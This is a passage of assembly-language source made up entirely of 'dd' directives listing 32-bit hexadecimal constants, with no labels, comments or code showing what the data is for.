0E84EC930h, 59226DF4h, 0EC054C9Bh dd 1D5EF2D8h, 4DCB85E0h, 66B000FBh, 0C66D7D78h, 6807C200h dd 677ECA13h, 69380E89h, 9B27A3BCh, 2E0870DFh, 52028A4Fh dd 29D4B3A9h, 4C604864h, 74DB00B0h, 51D1FDF6h, 2E07EF9Bh dd 72463091h, 0F0543C40h, 713F001Eh, 2299B1AFh, 961C4EBCh dd 0DE807C57h, 0A5E408D0h, 0FF72D3h, 0F67F2F07h, 0C05546D4h dd 5699C00h, 84F54C36h, 0CFC60938h, 6C801FECh, 55124074h dd 148AF800h, 0D53A296Bh, 8DAF0004h, 1FF02F50h, 4B4B2ABh dd 0C5F6003Eh, 90FEF28Ah, 0A1DB00DFh, 0A9354F09h, 340040A2h dd 281B3DD6h, 7C209248h, 0EA9D1E5Eh, 0A3D633h, 0C3FF3037h dd 73265F37h, 0B0001CF2h, 8A324D2Dh, 0E01E2C16h, 4A7F0FB0h dd 84435EA9h, 263E1BB8h, 6930CE26h, 0CC404D00h, 0EE684B9h dd 96FF33A1h, 23572AA0h, 0F43DF643h, 971A80AEh, 4FA1E79Ah dd 0BA0E007Ch, 44829188h, 1900631Bh, 0DDB2F310h, 543C1290h dd 279A01Ch, 6078B1BFh, 88E49D91h, 0B70033E6h, 0B008F757h dd 58BA22DDh, 6000B141h, 66CCA5A7h, 8701B5A3h, 6CEB7FA8h dd 0E1C06328h, 4C610012h, 0FB6B8907h, 0A4016F33h, 10C45724h dd 0A4307770h, 0F23C1FD1h, 0A76100C3h, 35CC3DAAh, 834B9A1Ch dd 0B3BC6740h, 0E4728BFh, 5D5955ECh, 0F7A0CA40h, 94C07AC4h dd 1CF9B21Bh, 0A64B0375h, 3FE9E761h, 8F990DB8h, 905F5300h dd 0C83BEEACh, 0AFDA1C68h, 0EBC70191h, 6CBD8101h, 0D8980060h dd 1707A5ACh, 0ABBE0020h, 0E66FC7D6h, 2400F1A4h, 0A6F36A3Dh dd 0F27EAD82h, 236B2EFEh, 47DD01CBh, 0C0CF20DAh, 97FC3413h dd 5C74EE38h, 762200E2h, 29ECF2B7h, 34EF00A1h, 0C18BA816h dd 0FE001E1Ah, 407897B4h, 3AEC28h, 73DA34DEh, 6DD2999Bh dd 8EEE800h, 0BE4AB9A3h, 0F2E23831h, 3CC81C00h, 537C19C1h dd 270DC318h, 0D41D74h, 0DD1CC28Ah, 749866E6h, 0C426E100h dd 0A19C37A9h, 0D776027Bh, 0CB50ADEBh, 0CC0B2861h, 0DDEE2ED1h dd 0B3FD3C00h, 8098E3C6h, 9BB2008Ch, 2B76DE46h, 303E724Ch dd 177D8040h, 31C5A23Fh, 2D95004Dh, 0D9548A49h, 8E00586Dh dd 0C9B9C2Bh, 95AC2F52h, 0A628E090h, 4ECC9A07h, 0D7D714B7h dd 0F8732752h, 972100CCh, 0A6527A9Fh, 0F700F9EBh, 4C2F7089h dd 2E993FD3h, 58886B49h, 9D1F4278h, 6F00BBBCh, 0EFF50B2Fh dd 1B8E0107h, 0D87F12CBh, 13E8C74Fh, 4648BBC4h, 39981674h dd 0E3C06C20h, 498B189Ah, 0DDB8883Fh, 1700FB98h, 9F65ACB6h dd 1814CCFh, 0D9A2949Ah, 0E0B75BF3h, 0EB009BCDh, 4223CE41h dd 0E1680Fh, 0A4673533h, 294A8F7Bh, 7AF99202h, 404F30F5h dd 9D9AC13h, 1615D11Ch, 0E4674C00h, 4D072705h, 1E2C368Fh dd 39AF1260h, 56A600B4h, 3F0E15F6h, 7B096D0Dh, 80DDE2E3h dd 0B604C390h, 0FA13008Dh, 526E8721h, 3F011CB8h, 2B127718h dd 8428625Ah, 8BB2BB00h, 0C3B4EC09h, 5FA32D00h, 0C9EA3C8Fh dd 0F14B184Ah, 0AB0520D8h, 0D60C8000h, 8E4D3D4Fh, 676E1C0Fh dd 9C38C035h, 17AAF05h, 99D55E00h, 0DF220C97h, 0F045505Bh dd 2240069h, 0D8FA3D7Fh, 93269E56h, 0B83C0A9h, 0CD159545h dd 2454A8E3h, 2E8A7814h, 2BCED0Bh, 0CAF8D1D4h, 6485E4E0h dd 0E8DE5200h, 5680D0C9h, 3BF2013Eh, 4793B398h, 6E8730F9h dd 629092Ch, 3A7DDC00h, 0CABED1h, 0A8A1E207h, 145EF906h dd 0BA584900h, 4B7D377Eh, 6F9E0012h, 819476C9h, 25906664h dd 62313A02h, 50C8E6C3h, 989878h, 1B93CBFFh, 4387DBA4h dd 8049B138h, 88992895h, 0E6C163h, 0FB0780D4h, 395A9FB0h dd 80BE183Bh, 9E305F59h, 0BCEBAEh, 2CB75D97h, 0B892D079h dd 9F5A307h, 0CDB038E6h, 0B1C276h, 0D1A4AF27h, 68E2EA31h dd 3804939h, 9B630CF5h, 0C4101E72h, 2FF100B8h, 0BB75F828h dd 0A00B3C28h, 0C0417F07h, 0F457CBDAh, 1042D6h, 6EDC67CEh dd 87D09701h, 0DDF8E800h, 998FEB81h, 4EF000DBh, 1EEA8388h dd 0BBF46838h, 7DBF6301h, 5B788271h, 0A391D0h, 87A98EE6h dd 75E27783h, 0F56DB900h, 2E822A7Ch, 8F460096h, 0DAF3E59Eh dd 0E91E646Ah, 3406FAEh, 0A194595Fh, 42E81C74h, 0ACFC40EFh dd 820118CDh, 26956400h, 0E57CCBC1h, 57230060h, 6B1D8AC7h dd 0F51629D5h, 0FC0026E3h, 437E99AAh, 7DB7076Dh, 0E064553Eh dd 667A6A11h, 699FC507h, 92106F71h, 795D988h, 0D02336D3h dd 45783082h, 0DD7A0AE3h, 0D1D42028h, 2D088900h, 62E6FD06h dd 2288003Bh, 2EC29A7Eh, 9091130h, 0F92BEDEh, 646E0AAh dd 28990F5Fh, 3F702A4h, 407B9D20h, 0B7E8D351h, 49004A5Ch dd 74DE9334h, 7768659Ch, 844438A4h, 0C8F7DF00h, 0E10698Bh dd 0E627FF00h, 0E74D9858h, 0D263006Bh, 0E424DD31h, 0D900C34Ah dd 0B206D5BFh, 395D38A6h, 0F2AA08h, 49C68BE3h, 0FCF3C25Fh dd 4E125907h, 91803DE5h, 8347A1h, 90B19D2Dh, 0B06C86F6h dd 4B993E00h, 0C97C8E0Ch, 603B00A6h, 178D0198h, 0DD004A7Dh dd 0B3B5FF73h, 0F0BC4C14h, 35B7840h, 907D09E7h, 0A90351B7h dd 1A92728Ch, 0BD3DA027h, 0D4780CF2h, 0D0211E9Fh, 90043400h dd 3C5E727Ah, 0B3440064h, 9FCC4CEDh, 970F3A3Dh, 0CFB7079Ch dd 0AB8E80EEh, 0F4D2F5h, 3A170286h, 96EA095Eh, 0A072A7Bh dd 582C3CD3h, 0A8005D4h, 3F98B71Ah, 0BFBFCF95h, 549F6483h dd 0F5993109h, 0C012C4E8h, 0A8274905h, 4C40ABD7h, 5A9A7C08h dd 9C5E0079h, 8DED8758h, 8558A59Fh, 234A1EA7h, 0AB040FC4h dd 508BAEC0h, 0BB1D006Fh, 9111845Bh, 3F01A2F0h, 2E418E28h dd 0C0FB6E9Dh, 60732Fh, 0B56D27C8h, 85C214E8h, 9911A21Fh dd 40AB6680h, 3C3DBDFDh, 6D38B4CEh, 0FBAC54h, 0D0837FD7h dd 0B130784Fh, 35A84001h, 32B44B26h, 0F06D68D4h, 71DF031Dh dd 918DFE27h, 0FADD87F0h, 0E9D89A60h, 0FE475326h, 3557792h dd 0E8240977h, 20073665h, 0BC46673Bh, 88A8BE10h, 0C08F7BDAh dd 0E2903F88h, 749DD59h, 0BC4D0B04h, 8F8941h, 0F6A8C71Ah dd 7FA00D2h, 0D94CC05Fh, 28DE08B0h, 9F3DEE40h, 3F859C3Ah dd 8E36201h, 9803C0B3h, 549908BDh, 0C0A8E3F7h, 0E7272Dh dd 4038DE75h, 0D7482C03h, 292E9C06h, 600436h, 229E0B7Dh dd 6E75CAA1h, 0A794D000h, 64F91FA8h, 5AF25Dh, 9EB4335Ch dd 481E0688h, 53839000h, 6C12513Ah, 9A6600CEh, 0F5C53174h dd 0E200CB17h, 0DE8A1086h, 0F2BB553Fh, 0F77000B6h, 9AA179DCh dd 187F1C53h, 62A88000h, 5FA98B68h, 32772439h, 79C50052h dd 0DCAAD720h, 0DA3C900h, 25DFDE60h, 0BCAB000Ch, 7D461BA7h dd 0D600C79Bh, 0EB8B9DBAh, 63BF76h, 61D4A55Ah, 0CCA88A52h dd 1BE8C5B8h, 37E31818h, 2F4579h, 8A353ADFh, 0EF388FC8h dd 21D2500h, 0D74B3674h, 0B6C600D8h, 83FDEE76h, 0CA3C01CEh dd 0C91C000Ah, 0FCAC8AE4h, 4450143h, 0F4D67B4Eh, 847C60F8h dd 7E395774h, 0BF950F9Bh, 11C01CBEh, 8E0AEAC9h, 1A351D78h dd 0D3D900ECh, 0A1BAC75Bh dd 0A5CCA00Ch, 0C6B0A97Bh, 0E88CF16Ch, 0E40037F0h, 31D71CA0h dd 428335h, 55524C22h, 29E15D9Fh, 54A26201h, 85E7EE14h dd 7C83620h, 69B4A422h, 0B1FEC063h, 0CA3EB6D6h, 0C986002Bh dd 0E5CB0412h, 634F0054h, 7F4779E2h, 4674D239h, 720B2D8h dd 6D020096h, 0D05C9703h, 4600C63Ch, 0C082745Ah, 3DFC9CFh dd 472BCBB8h, 9FF82102h, 41D3F2A4h, 0FA0A2400h, 1880FF59h dd 807F48Fh, 80C0C6C8h, 4F09649Ah, 326A003Bh, 1924D9AAh dd 0C00D303h, 8E029BCBh, 0C465F4h, 0B6813FFFh, 0AA86291Fh dd 0CB2328C0h, 3B6512C5h, 20603E14h, 45D050C7h, 0F9E7580h dd 0E655611Bh, 6EA35D20h, 6C00F374h, 11338EAh, 32C5C8h dd 0B769FB99h, 94B51C4Dh, 301F853Ah, 500F61DEh, 98E6A9h dd 37AA96AEh, 90B8CDCAh, 0C70373ECh, 0C87AF119h, 23180B0h dd 0C35E171Ah, 6172033Fh, 0B7F73D85h, 3EA430ECh, 0BD009FFAh dd 0EFD525B8h, 7375027h, 0A10ABA24h, 824F17DFh, 49599BCh dd 41C73CE0h, 0F4F85Ah, 775EAA3h, 45A0E69Bh, 260A7D00h dd 3F77B5B9h, 0ACF71CD7h, 0C6728E15h, 595A2858h, 0D7D3C00h dd 611DA3B7h, 0F049EC86h, 0FF44FE4Dh, 0B422D8h, 3C405C9h dd 74E18B65h, 0E4ABD300h, 6B34C5BEh, 162A3E6Dh, 0AD899680h dd 0A8DEE6EDh, 0A6C12C01h, 4217E9F9h, 0FE708420h, 0DF7601B1h dd 20B2CEEAh, 0E969C09Ah, 7BAEB805h, 7DC0FADBh, 258C42Bh dd 0D91F6376h, 0DF60C03Fh, 4C169EDCh, 0F70759FEh, 7723AE30h dd 5C6BA8C1h, 0AF7AE2h, 5420762Ah, 6697CEA0h, 82B57201h dd 8175A68h, 9FE11C4h, 375B5D2Ch, 50360C00h, 430C7CF2h dd 0F4A2A7E0h, 2A14004Ch, 351761F0h, 0D5B82B60h, 0E53A1879h dd 0D50D00D2h, 49F4FAABh, 9A0C009Fh, 54A92ECCh, 670FF23Ah dd 230405Ah, 800F3F81h, 41796486h, 1593008Fh, 6A9CECFEh dd 591D0E2Ch, 3000129Bh, 0F81FAE58h, 0D1030065h, 0CC1CC062h dd 0C049D86h, 0F781244Bh, 16975880h, 8BBC00B0h, 221D830Dh dd 8C7B5849h, 9DBBF900h, 0D3E1140Fh, 395E00E4h, 38495397h dd 0CC0592DFh, 0FBCFE994h, 0E6F6F980h, 63DB1EAEh, 0C00940B5h dd 1CA7D1D3h, 78C11407h, 9B7134AAh, 53F8C5FCh, 3D3A00A6h dd 7749EE2Fh, 0F004674h, 0F973FA95h, 0CB94CAh, 168BB8AFh dd 712F5DB3h, 8BA4073Eh, 80407DF4h, 0D6430356h, 0C9FC0033h dd 2A7772AFh, 7B1DA480h, 0E5C026CCh, 29CAF0DDh, 6AF700EBh dd 0C77E3515h, 4507A5E2h, 0A4285A9h, 27C96BE0h, 8C7F0733h dd 5144F17Eh, 0F94CB95Bh, 568E4A7h, 0C80E0600h, 44F251D2h dd 66F40147h, 70AF9D02h, 9E27DCBCh, 0DC00DA72h, 48FA1591h dd 84C728h, 195513A8h, 258D8810h, 99BE3306h, 48CD7Fh, 9C4D1C22h dd 546EAFD7h, 0D6746A00h, 0C519823Fh, 17E100DDh, 0FE0D53F1h dd 0D00001B8h, 5B7DB35Fh, 9BA0D2h, 947865B0h, 8575F570h dd 0B6BEED00h, 6932BCE5h, 0C4170ECCh, 63A03EBBh, 836D14C5h dd 0D5389D00h, 111698C8h, 20B56089h, 19FE369Eh, 9F039A7Eh dd 51D38B5Ch, 0E4F6B816h, 0FF1F69Dh, 0F8AFF937h, 0D74FA320h dd 99001834h, 9E61961Dh, 0CBA1D4h, 6C439047h, 0A60709A4h dd 0F8B18200h, 4F100541h, 0BBF0ABh, 0CF4A3466h, 9FDBA745h dd 179239h, 2236ED88h, 37327BEFh, 0A0C06C0Dh, 0B378DA0Fh dd 0D8F3D900h, 0DC87EC60h, 16B2F406h, 7C83B0Ch, 0AE485315h dd 13935FC1h, 94AFF0C3h, 1C00D890h, 0A11E1FE4h, 0EE1B24h dd 8299E1C5h, 0E8BEA28Dh, 0BCD99C00h, 0EF6A93D2h, 607E11h dd 0B5627E72h, 10E4215Ch, 99838C00h, 0AADDA0ADh, 11150007h dd 1CC17DF0h, 0FC00A1A5h, 8D8EB5CDh, 3AC378Ah, 0E151E347h dd 86D856BDh, 77005D17h, 25D7EAC7h, 0D95E42h, 0AFE96E1Bh dd 82712A8Ch, 0B20BA20Bh, 0FFEA005Dh, 2F1EBCh, 0D7ED0C72h dd 6AA6E32Dh, 546DAD00h, 858918DDh, 0FC930069h, 81826E91h dd 0F5002CC4h, 8086F9B4h, 795D48Bh, 9D601218h, 134310A1h dd 7F740174h, 0DCB16807h, 82402881h, 0B87083h, 752AAC91h dd 933187A7h, 0C0611900h, 0D25292D1h, 0D60E0079h, 1B0AE9DFh dd 0FF1C064Dh, 1940362Fh, 9C14CB5Ch, 0ACE2B8h, 0C28F9F45h dd 0EB8E2E1Bh, 803A883Ch, 355BB62Dh, 0C0A0C3h, 425634Bh dd 0C1E5E88Eh, 9E87CF00h, 40E957D5h, 0CCE70018h, 0A62E6EDCh dd 1C3F84B8h, 3E7B0412h, 0A980407Fh, 0F761797Eh, 0C635E0h dd 34E3C7EDh, 5C89A36h, 0DCDBBF07h, 0C4D09858h, 0D4E30h dd 531E6C73h, 9CA71566h, 79CE9700h, 13777EFh, 9E183C44h dd 3A437F07h, 1D15E008h, 9700C136h, 4FEDD7CDh, 0AAF226h dd 997A908Ch, 0FD2A9AD0h, 7295EF07h, 213065B9h, 0BE5A6Dh dd 48095E73h, 0A437A16Ch, 0C01F6600h, 8D683693h, 583512F6h dd 261C40CEh, 24F87DFBh, 2A84A300h, 82EA5B34h, 0F4913BB3h dd 0A8F62100h, 0ABAEA9FFh, 0D4C8D24h, 7DEF2E07h, 90D1D703h dd 324DDEh, 245A3555h, 0E35EEAF6h, 0BD903B00h, 77B95983h dd 4B331FDAh, 67210079h, 34F3C091h, 0C200B6E4h, 0C5D16519h dd 269AF217h, 1EBDEE28h, 83C14077h, 4662E3F3h, 715A4000h dd 1382890Ah, 4B1B9860h, 1830ACC7h, 0BD96DFB6h, 10A80A79h dd 0F8B88Fh, 0ADA03D6Fh, 9500219Dh, 2BD7E3CBh, 3ADF7Ch dd 8BC1AE3Fh, 46A068F1h, 7438C607h, 4E00EA03h, 5C416031h dd 0A9077EFBh, 80917380h, 711396BEh, 54745800h, 5D152BD4h dd 38B71F29h, 0BF874FD1h, 0EB523400h, 85502325h, 0CC00F8D5h dd 0E31164BBh, 7B56B13h, 7C959232h, 0AE7FB00Dh, 0B21D5DEBh dd 284E0C6Ch, 0C9DB00D8h, 26D968h, 0E0FA357Bh, 385F6BFBh dd 0AB190A03h, 0E0EBC4A6h, 5026F3EEh, 3867883Dh, 800BD22Bh dd 8880BF39h, 0DBD437A3h, 9C595700h, 45499675h, 9F210553h dd 80836B2Bh, 1CA54CDAh, 0C409A1Ch, 0FB360A00h, 9C2FE0h dd 17CD7090h, 4822E112h, 341EED75h, 3A013D25h, 0D041943Bh dd 0C1602080h, 744F28A9h, 84BBBC0Fh, 0A705E06Bh, 0EF59434Dh dd 7BFCA831h, 0D56400D2h, 0CBCDD348h, 0D0008D83h, 240C7860h dd 1C17294h, 0A7599558h, 60DA28AAh, 0A1005ADAh, 63455C90h dd 74033AD4h, 76A1E8Ch, 0DE82009Ah, 90FDF47Ah, 38CC2C30h dd 183FC1ADh, 0A1D18BBDh, 44A042B9h, 35001C95h, 3461BB66h dd 2A36056Ah, 0A4CD27h, 734F5384h, 0ECB3FB02h, 0E24D212Eh dd 6AEAAC00h, 161C8CAh, 8F938B99h, 0CF71A60Dh, 3D690A7h dd 0F500F326h, 44EC5666h, 7F8DBBh, 2AB46EDAh, 0D677A670h dd 0FAC3C13Eh, 86A1D501h, 6D89C932h, 9A3BD0h, 3025A48Ch dd 0DD4BA0CDh, 0EF002C74h, 0A564556Fh, 75609D1h, 211F8158h dd 0A73AB0F0h, 8D014E37h, 7A9938E8h, 13ECC5D4h, 8107376Ch dd 0C04207F1h, 0C4909596h, 0D6E4A800h, 0DE49B8D7h, 22C2019Bh dd 24D3A402h, 34170A6h, 0F675A000h, 8B327EBAh, 823E0E84h dd 6D80B34Dh, 0D7FA1ACCh, 6A75EF00h, 0D57BE104h, 0B7330056h dd 277E73Eh, 4E3BFD6Ch, 716280BBh, 7044DCA3h, 6D3D0087h dd 926C634Fh, 0AE2C591Ah, 310EF786h, 0B5A4400Bh, 0E9A9997h dd 71345A9Dh, 3E79B600h, 6A1DB438h, 0D01E357Ch, 0C5C73D01h dd 4FC91966h, 0B0289880h, 0A2EDDC96h, 47075100h, 0CC8994DAh dd 0DEAF034Bh, 1B29CF0Ch, 34409EF8h, 0BC396564h, 73067180h dd 0D55C3E98h, 3CD8480Ch, 0E900BAA8h, 20D6B28Eh, 0A24C881h dd 88E5EF55h dd 23E70684h, 0BC0A286Ch, 0F41FB864h, 98F99F00h, 1D33AD8h dd 9AE0D42Eh, 501D623Eh, 0EDB0BFA0h, 5318A603h, 0C08E0386h dd 3F18106h, 565EBC02h, 0B6F8141Eh, 0C60E9108h, 256CA209h dd 0C0404E82h, 98DDE51Bh, 319B00FAh, 83D9D030h, 213DC1E0h dd 763A0091h, 0A36AF7AAh, 0E17A00E5h, 980FD8E8h, 530CEFA9h dd 31C8AEE9h, 0F693134Bh, 8A7300B6h, 416F576Dh, 684F4400h dd 0B54EBBCDh, 0A27738h, 0BEEA0106h, 1A74D88Bh, 5E323D00h dd 5BC6CF46h, 0FDD9034Ch, 44573E62h, 0BF994000h, 9895AE7Eh dd 1FC7532h, 371A004h, 0F823FB0Ah, 6400A9B1h, 0E060352Dh dd 0EEE5B0h, 0FD8DF95Ch, 3BC08933h, 9BC148C1h, 86E039B7h dd 29F256h, 72FAE8EFh, 6D1D5CA3h, 74CED103h, 1D4E4AF6h dd 80939830h, 0CCF983D2h, 8B60D68Ch, 4F90E3F1h, 8FE903CAh dd 7CD42496h, 3CA5CEF0h, 6D03F803h, 0B857DF14h, 0DF704D11h dd 0EA9E4080h, 1D71BC6h, 0F5E8C100h, 17730A78h, 9460009Ah dd 54CE4CE1h, 0BB0E4BE7h, 3E190EB0h, 2CB1D380h, 1CD4F63Dh dd 405DF910h, 0FC17C6F0h, 69021446h, 0A75199B1h, 0AD5C05Eh dd 0D4F500BBh, 3C03926Eh, 0BF005268h, 5AEFDFF2h, 0FE042BA8h dd 4F9B0036h, 469057B6h, 0C3613CF9h, 0B953FE38h, 74156D0h dd 9F7F8EDh, 87C03FD4h, 0C82B75DDh, 0E34FC500h, 0A3DCBDF5h dd 0FC94325Fh, 2F413B28h, 6704F8E5h, 19C67C30h, 0AA9325h dd 39E15118h, 63DAD176h, 21C13833h, 68CC90A6h, 4CCA3816h dd 0D116E0Eh, 0FA86A7A0h, 0E900859Eh, 97178702h, 71E70F8h dd 9F75161Bh, 6F098001h, 620331B8h, 11FBA5B0h, 0A06690FCh dd 5B4B0BB5h, 5450A840h, 4D8E8706h, 0A781A8Bh, 9D2279B9h dd 0AF7C0098h, 0AD564FECh, 80EB5B28h, 38660903h, 0E070D06Ah dd 3D8D78F9h, 0A58BA794h, 0CE80BB26h, 3D27F802h, 0E41C9100h dd 124B0D97h, 4D030022h, 1F38D021h, 0CC0056F4h, 423C06DFh dd 0F4905287h, 60A503AAh, 0D7AB9A30h, 0DDE816F0h, 0F9537203h dd 0F87827FEh, 3659304h, 0E7494256h, 0B7C0FCD2h, 4AEA749Dh dd 5589F3Ch, 494C23F3h, 82307E80h, 204EE188h, 0B48F3508h dd 80C006Eh, 3459647h, 0E241AA49h, 300E02C9h, 0FEDE8A56h dd 72748880h, 3E240F0Dh, 652EE74Ah, 0CF4830C8h, 0C9003414h dd 151E845h, 0BDF1FCh, 0C873B07h, 2B02FBD7h, 5C10801Dh dd 784B3983h, 4AE3E8h, 9A4388A0h, 0C94946BCh, 0B400B270h dd 8B34C15Dh, 795261h, 8A6073DFh, 824FE37Ch, 0FE14C579h dd 0A441D5h, 7508F6DEh, 7614B01h, 47F8FA6Bh, 0B99300AAh dd 49004892h, 0EACC2503h, 19948AEFh, 0B8AA268Ch, 0A783DB5Bh dd 0B45A01B0h, 80AC4529h, 749B1740h, 8D6BEC6Ch, 0BAD81200h dd 562784Ch, 9C9E0D7h, 0A982C15Ch, 0AADA9F04h, 9D872D00h dd 70C5B4h, 0CC520580h, 0D58DF145h, 0ECBA200Fh, 7A014066h dd 260EE6h, 0F2DF8739h, 0E3CD4058h, 6D5A2E07h, 8AB1CACFh dd 80403554h, 14284E95h, 20E5AF6Ah, 0CEDAABB3h, 0D630871Ah dd 9B33C3h, 0FD547388h, 10E51117h, 7FCCE350h, 4DF02F00h dd 0EBA40433h, 0E0F56192h, 435235B8h, 2FF8A8DCh, 0C61F5417h dd 6CC0754Fh, 33AFFD4Eh, 57881D29h, 20E000E8h, 3AD39B73h dd 8D42F7Ch, 0BE007C00h, 86126A8Dh, 58E698A9h, 307202B5h dd 160A1ADh, 4B3A172Bh, 0D2C86A2h, 0EA1851DCh, 705200F6h dd 0F19CB515h, 8C3EE787h, 0EE5E80C0h, 0B97C81C6h, 0C8278B2h dd 0C7D225E1h, 15B88688h, 0FF80CB00h, 597EA5F3h, 2C5CE247h dd 0EB805ACh, 5E045619h, 64E6C0D4h, 8B016F28h, 0E10FFA91h dd 40C26DD7h, 3ECDEFh, 4A5DE244h, 92E63F41h, 15B38h, 32AD9DD3h dd 1C0F101Bh, 9C0C1EC1h, 53620090h, 0E4B0C8CFh, 30CA1D31h dd 3CE1154Bh, 0C3608840h, 0BCE502CCh, 0EE1CB4E4h, 8AE19480h dd 7900A65Bh, 0E55F4E09h, 23E4F0Ch, 0E70FDAA7h, 0D8A0DF08h dd 0FFC083E8h, 0D90070B0h, 30586F7Ch, 0E6F1A5h, 0DE888976h dd 55D15F7Ah, 228F0B01h, 0A1A928CEh, 2495F4h, 0CCBAE6F5h dd 0B5E2C9C2h, 48073900h, 0D7A1233Bh, 11DD00B1h, 0EC4C4360h dd 0DC600C81h, 5F627230h, 0F82D1CC5h, 6992C0E4h, 6416258Eh dd 0F389170Fh, 41638075h, 0CD5599h, 0D31A882Eh, 4EEA58AEh dd 0E1D73A00h, 0AC75D011h, 0BC6D0016h, 650B4D23h, 0C700C2B5h dd 0B8F38737h, 5EE766h, 92727805h, 31B36A76h, 0CD2D101Fh dd 9EE63687h, 733EEEA1h, 3066F12Fh, 32002EE4h, 0D2FAC225h dd 1271C36h, 0F33C9F3h, 0CCB87108h, 5A035F2Ah, 0EED6F965h dd 0E0CCB2DEh, 0B5C529h, 448D1CFFh, 2537C2C7h, 0E2BAB10Ch dd 1B0A98F7h, 18C504B7h, 935CACF8h, 0E0008CECh, 0DF83650Dh dd 30C35E7Eh, 42C9AB92h, 0C97006DAh, 30C5A100h, 725D9916h dd 273D0078h, 0CBADC64Fh, 124B156h, 1300D5BAh, 5E0F717Dh dd 8A5500E7h, 0BC20175Fh, 0DC03402Dh, 0A14AA725h, 86091B93h dd 0F5E9205Eh, 7924D4A0h, 25F8FF00h, 486EFEDEh, 0C538003Dh dd 0DA770673h, 37015F9Ch, 0E70970BDh, 2FE44560h, 0DC08C661h dd 0D7002027h, 0AEE0D88Dh, 2DF7E3h, 0A10AAB62h, 606471BAh dd 58899E30h, 1E83C266h, 0C18EE85Fh, 0A8D144Fh, 0C520C4C6h dd 9C985560h, 3096687Dh, 0BF1188EDh, 0F4F0711Fh, 0A8D5C106h dd 6408C0B6h, 0C0AA21A4h, 2CA15795h, 0D6CFB707h, 13E07CDBh dd 609F984Dh, 31F828AFh, 0B7F25DD7h, 72E56600h, 6BBF50B6h dd 0CEC10A42h, 0A1CCCBh, 0F3E0C532h, 21DF773h, 6842C410h dd 80895DFCh, 4F76D548h, 2DCE1085h, 0EB6E80A9h, 0F09C23h dd 0B5697C9Ah, 0D0868F5Bh, 15BF5800h, 8C72516Ah, 270C155Dh dd 0D823B449h, 707B823Eh, 1944E8E6h, 176E10A2h, 0AC1E0371h dd 39D0C629h, 68F355C3h, 1259211Fh, 200A475Dh, 8380F471h dd 0A622BD28h, 0BFD900E8h, 0AB8D9CA7h, 32000F41h, 0EB4B4D9Bh dd 1C879339h, 13E42BCh, 5131D191h, 0F077F00Dh, 9B008BEAh dd 5A2FEB04h, 6057CBh, 0E50569DCh, 71786C13h, 3400287Ah dd 7F3D3CFDh, 2302D4h, 88EEBC0Bh, 0E011BE9h, 60F6C300h dd 7C29BE2Eh, 0E719389Eh, 0B524200h, 0F7DACF48h, 0A687AA00h dd 0A84CA095h, 3B0FAA9h, 2D2916D6h, 0DAD00830h, 3C009AA4h dd 0A16B054Ah, 16CF35C8h, 0AE0A1824h, 46A4B107h, 0D2DE0E0h dd 0F9593C77h, 0B6870480h, 51F18A1Dh, 78748526h, 3B78C700h dd 1D5D7A33h, 404E8B2Eh, 6440B0AAh, 2007350h, 7D744539h dd 3C88779h, 0C17004E2h, 0F8D07AA3h, 91E6CC2Eh, 6332990Eh dd 7F7E0087h, 7E0FD170h, 0D3774Ah, 4EA1C5F4h, 0D030B554h dd 0DA86E60Fh, 0AFC4C007h, 0B777BEh, 0AEC98EC7h, 4737A459h dd 4F12A701h, 1F1C4A45h, 0A4CA860h, 0CFE08583h, 0FE6900C8h dd 0C1363DC4h, 7DA77E0Fh, 8F2C20B2h, 0AAA605h, 42C3E460h dd 0F5C7A3BBh, 0BFD61100h, 5B252FE5h, 5EBD000Bh, 0A56507F4h dd 8D00856Eh, 319B9582h, 394EA8FAh, 0BA0067A6h, 0CF6637DAh dd 91004404h, 0A2F5D4EDh, 0F4674F2h, 0D8E06DFAh, 7B1F8920h dd 1C0E53FDh, 4048FF47h, 3DCB5202h, 18B0F17h, 0A005467Dh dd 0B3B303CFh, 680106C5h, 893337Bh, 42F46385h, 0D37700A5h dd 75CBFFD8h, 0D400277Dh, 99B0FCF4h, 0E317FE4h, 8D74BDBCh dd 0DDC17120h, 87001408h, 0C945F916h, 6039F6A1h, 9FA5501Fh dd 0F43A6534h, 20430051h, 0C80B3280h, 0BB1900DCh, 72B32EADh dd 9D48037Dh dd 4C017B62h, 544314EEh, 0D5309EF8h, 1DA007Eh, 18A2C161h dd 22070C85h, 33C7123Ah, 0EBB90A50h, 0F0C1E8C3h, 1A161857h dd 185231DEh, 54D6D31Ch, 0CB950B40h, 39F5CD2h, 8BA51193h dd 38009A63h, 6704B09Dh, 0E2273Ah, 0B5D3317h, 53A66975h dd 0FC45F14h, 1833A018h, 97A13E7Eh, 46550F9Ch, 39407FE3h dd 34F91F29h, 0C8C5560h, 351240E6h, 7FE20203h, 0A7E0B120h dd 1C2CA225h, 8A7D11D9h, 311519C0h, 3C146070h, 950CA06Ch dd 0A890F879h, 104CEDF5h, 0AFED0005h, 0F6278EFh, 90C00BD5h dd 53AB4CE0h, 92018DDFh, 0E734B54Ah, 3D7C5707h, 27C0EC8h dd 7507ECDFh, 0EB9502E0h, 81C98A6h, 8160A053h, 0DF28EA14h dd 5575F985h, 0C0102495h, 0EC613B2Eh, 8A0B403Fh, 0DC5CD5FDh dd 0F6B397D8h, 0C03154F4h, 60BCA068h, 605AE96Fh, 6A1A3002h dd 0A4804FFAh, 50419015h, 4833C029h, 8DED9F81h, 0B8519A1Fh dd 0A45E6E16h, 3310A70Eh, 0B5C0F00h, 5493C7D5h, 0BCBF92E0h dd 0B561C0ACh, 2050521Eh, 2D81251h, 64B4E3A5h, 7EE9D904h dd 95079F6Fh, 0A050C001h, 4093E3A9h, 299B80C0h, 75E14005h dd 0C0DC5157h, 9044F591h, 24998355h, 619841B9h, 0CE80D143h dd 0D3D4BCA8h, 574F4CE0h, 643E144h, 0D8405047h, 0B9637864h dd 7C0A8008h, 7C8E56C0h, 91F447C0h, 0A0923A7Dh, 50B29805h dd 7C6C5160h, 84BD0005h, 0B5A41B8h, 295130F5h, 0D074F7B8h dd 400886E7h, 2B486517h, 0C08CE274h, 24F85E66h, 0FE28F8A4h dd 74318C3Ch, 2819053h, 695508Fh, 1F970C9Ch, 1B055A18h dd 0CD23A051h, 16F3D806h, 0CCDD2010h, 3E57C844h, 577F7B33h dd 429CB0E3h, 3B8AB8D6h, 4F4DB501h, 0C36CC43h, 3DB0C0E0h dd 10DF3758h, 0A1E8DB1Bh, 18982805h, 5D60681Ah, 1D51EA38h dd 4006EC37h, 6108CE73h, 5860185Eh, 0EB3098B5h, 0A0B8DE09h dd 0C645669Ch, 1044C7D8h, 0F0461F30h, 7451EDF5h, 204B6380h dd 0E0C1CF93h, 